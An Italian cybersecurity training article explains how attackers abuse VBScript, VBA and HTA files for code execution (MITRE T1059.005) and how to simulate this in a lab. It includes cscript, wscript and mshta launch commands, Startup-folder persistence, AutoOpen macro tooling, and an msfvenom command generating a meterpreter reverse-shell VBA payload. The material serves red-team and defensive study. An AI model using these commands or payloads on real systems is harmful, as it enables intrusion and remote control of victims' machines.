Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Visual Basic, nelle sue molteplici incarnazioni — VBScript, VBA e VB6 — resta uno dei vettori di esecuzione più sfruttati nel panorama delle intrusioni informatiche. La tecnica si colloca nella tattica Execution (TA0002), il momento della kill chain in cui l'avversario trasforma un punto d'appoggio iniziale in codice attivo sul sistema vittima. L'efficacia di questo approccio poggia su un fatto semplice: VB è profondamente integrato nell'ecosistema Windows. VBA vive dentro ogni installazione di Microsoft Office, VBScript è disponibile nativamente come motore di scripting richiamabile da wscript.exe e cscript.exe, e VB6 produce binari compilati che interagiscono con il Component Object Model e le API native.
I numeri confermano la popolarità della tecnica: 45 gruppi APT, 67 famiglie software, 15 campagne documentate e 5 mitigazioni censite. Dagli attacchi alle infrastrutture energetiche ucraine alle operazioni di spionaggio industriale in Sud-Est asiatico, passando per supply chain compromise di portata globale, il Visual Basic attraversa trasversalmente quasi ogni tipologia di minaccia. L'uso spazia da macro VBA incorporate in documenti di spearphishing — spesso in combinazione con tecniche di bypass del Mark-of-the-Web — fino a script VBS autonomi che fungono da dropper, loader o meccanismi di persistenza.
La simulazione di un attacco basato su Visual Basic in laboratorio richiede di ricostruire l'intera catena: creazione del payload, delivery, esecuzione e connessione C2. Il punto di partenza è capire quali motori di scripting sono disponibili di default su un host Windows moderno e come vengono abitualmente innescati.
Esecuzione diretta di VBScript. Su qualsiasi sistema Windows 10/11, wscript.exe e cscript.exe sono presenti senza installazioni aggiuntive. Un file .vbs minimale che esegue un comando arbitrario può essere lanciato dalla riga di comando:
cscript //nologo C:\test\payload.vbs
Per simulare ciò che fanno gruppi come Gamaredon Group o RedCurl, che eseguono VBScript tramite wscript.exe, basta sostituire l'interprete:
wscript.exe C:\Users\Public\autorun.vbs
Questo schema replica il pattern di Mustang Panda, che salvava uno script autorun.vbs nella directory Startup per ottenere persistenza all'avvio.
Macro VBA in documenti Office. Per riprodurre la catena d'attacco più classica — un documento Word con macro malevola — si può creare un file .docm con una routine AutoOpen che invochi Shell() o CreateObject("WScript.Shell"). Il tool Cobalt Strike (a pagamento) include un generatore di macro VBA tramite il menu Attacks > Packages > MS Office Macro, che produce codice VBA da incollare nel Visual Basic Editor di Word o Excel. Per un'alternativa open source, Koadic (open source) offre un framework C2 interamente basato su Windows Script Host. Il suo stager genera payload VBScript eseguibili tramite mshta.exe o direttamente da cscript.exe.
HTA come vettore di delivery. SideCopy e altri gruppi hanno usato file .hta contenenti VBScript per invocare mshta.exe. La simulazione è immediata:
mshta.exe C:\test\payload.hta
L'HTA può contenere un blocco <script language="VBScript"> che esegue codice arbitrario. Questa tecnica combina T1059.005 con l'abuso di mshta come proxy di esecuzione.
Tool di generazione payload. Donut (open source) consente di generare shellcode da assembly .NET e produce output eseguibili tramite VBScript. Per la fase di encoding e offuscamento, msfvenom dal framework Metasploit (open source) può generare payload VBA:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORTA> -f vba
Un aspetto cruciale nella simulazione è il Mark-of-the-Web: su sistemi aggiornati (Office versione 2203+), le macro VBA da file scaricati da Internet sono bloccate per impostazione predefinita. Per testare l'efficacia di questo controllo, occorre verificare la presenza dell'attributo MOTW con il comando:
dir /r C:\Users<utente>\Downloads\documento.docm
cercando il flusso alternativo Zone.Identifier nell'output.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo